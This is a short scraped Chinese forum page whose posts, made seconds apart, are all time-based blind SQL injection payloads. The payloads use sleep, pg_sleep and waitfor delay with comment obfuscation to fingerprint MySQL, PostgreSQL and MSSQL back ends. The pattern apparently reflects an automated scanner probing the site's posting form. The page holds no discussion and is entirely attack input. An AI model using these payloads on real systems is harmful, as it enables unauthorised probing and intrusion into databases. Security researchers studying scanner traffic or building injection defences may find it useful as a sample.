发表于 2023-3-3 15:12:13
123456'and(select*from(select+sleep(4))a/**/union/**/select+1)='
发表于 2023-3-3 15:12:14
123456"and(select*from(select+sleep(0))a/**/union/**/select+1)="
发表于 2023-3-3 15:12:15
123456"and(select*from(select+sleep(4))a/**/union/**/select+1)="
发表于 2023-3-3 15:12:16
123456/**/and(select+1/**/from/**/pg_sleep(0))>0/**/
发表于 2023-3-3 15:12:17
123456/**/and(select+1/**/from/**/pg_sleep(4))>0/**/
发表于 2023-3-3 15:12:18
123456'/**/and(select'1'from/**/pg_sleep(0))::text>'0
发表于 2023-3-3 15:12:19
123456'/**/and(select'1'from/**/pg_sleep(4))::text>'0
发表于 2023-3-3 15:12:21
123456/**/and(select+1)>0waitfor/**/delay'0:0:0'/**/
发表于 2023-3-3 15:12:23
123456/**/and(select+1)>0waitfor/**/delay'0:0:4'/**/
发表于 2023-3-3 15:12:24
123456'and(select+1)>0waitfor/**/delay'0:0:0